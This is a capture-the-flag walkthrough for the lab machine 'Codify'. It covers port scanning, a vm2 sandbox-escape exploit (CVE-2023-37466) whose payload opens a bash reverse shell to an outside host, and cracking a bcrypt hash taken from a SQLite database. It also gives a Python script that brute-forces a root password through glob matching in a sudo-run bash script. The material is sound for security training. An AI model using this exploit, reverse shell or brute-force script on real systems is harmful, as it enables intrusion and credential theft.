Codify - Walkthrough
Codify is an easy Linux machine that features a web application that allows users to test Node.js code. The application uses a vulnerable vm2 library, which is leveraged to gain remote code execution. Enumerating the target reveals a SQLite database containing a hash which, once cracked, yields SSH access to the box. Finally, a vulnerable Bash script can be run with elevated privileges to reveal the root user's password, leading to privileged access to the machine.
Enumeration
We begin with an Nmap scan to identify open services:
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping 10.10.11.239 -oG allPortsThe scan reveals:
| PORT | STATE | SERVICE |
|---|---|---|
| 22/tcp | open | ssh |
| 80/tcp | open | http |
A targeted scan provides more details:
sudo nmap -p22,80 -sCV 10.10.11.239 -oN targeted- SSH → OpenSSH 8.9p1 Ubuntu 3ubuntu0.4
- HTTP → Apache httpd 2.4.52, redirecting to
codify.htb
We add the hostname to /etc/hosts:
echo "10.10.11.239 codify.htb" | sudo tee -a /etc/hosts
The site offers a Node.js code testing editor using the vm2 library.
Foothold
The vm2 library is vulnerable to CVE-2023-37466, allowing sandbox escape for RCE. We use the exploit:
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
},
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({ constructor: c }) {
c.constructor("return process")()
.mainModule.require("child_process")
.execSync("bash -c 'bash -i >& /dev/tcp/10.10.14.70/5000 0>&1'");
}
We obtain a shell as svc. Enumerating the system, we find a SQLite database at /var/www/contact/tickets.db:
strings tickets.dbjoshua$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2We crack the bcrypt hash:
john --format=bcrypt -w=/usr/share/wordlists/rockyou.txt hash.txt| Username | Password |
|---|---|
| joshua | spongebob1 |
We SSH as joshua and capture the user flag:
ssh [email protected]
cat user.txtUser flag: 1ba70b6408985757822776ff529e11f6
Privilege Escalation
We check sudo privileges:
sudo -lUser joshua may run the following commands on codify:
(root) /opt/scripts/mysql-backup.shThe script prompts for a password and compares it unsafely:
if [[ $DB_PASS == $USER_PASS ]]; thenThis uses bash pattern matching, vulnerable to brute forcing. We create a script to extract the password character by character:
import string
import subprocess
def check_password(p):
command = f"echo '{p}*' | sudo /opt/scripts/mysql-backup.sh"
result = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
return "Password confirmed!" in result.stdout
charset = string.ascii_letters + string.digits
password = ""
is_password_found = False
while not is_password_found:
for char in charset:
if check_password(password + char):
password += char
break
else:
is_password_found = True
print(password)The script reveals the root password: kljh12k3jhaskjh12kjh3
We switch to root:
su root
cat /root/root.txtRoot flag: bfb5c86d8eedc66d25b28fdaa74b793e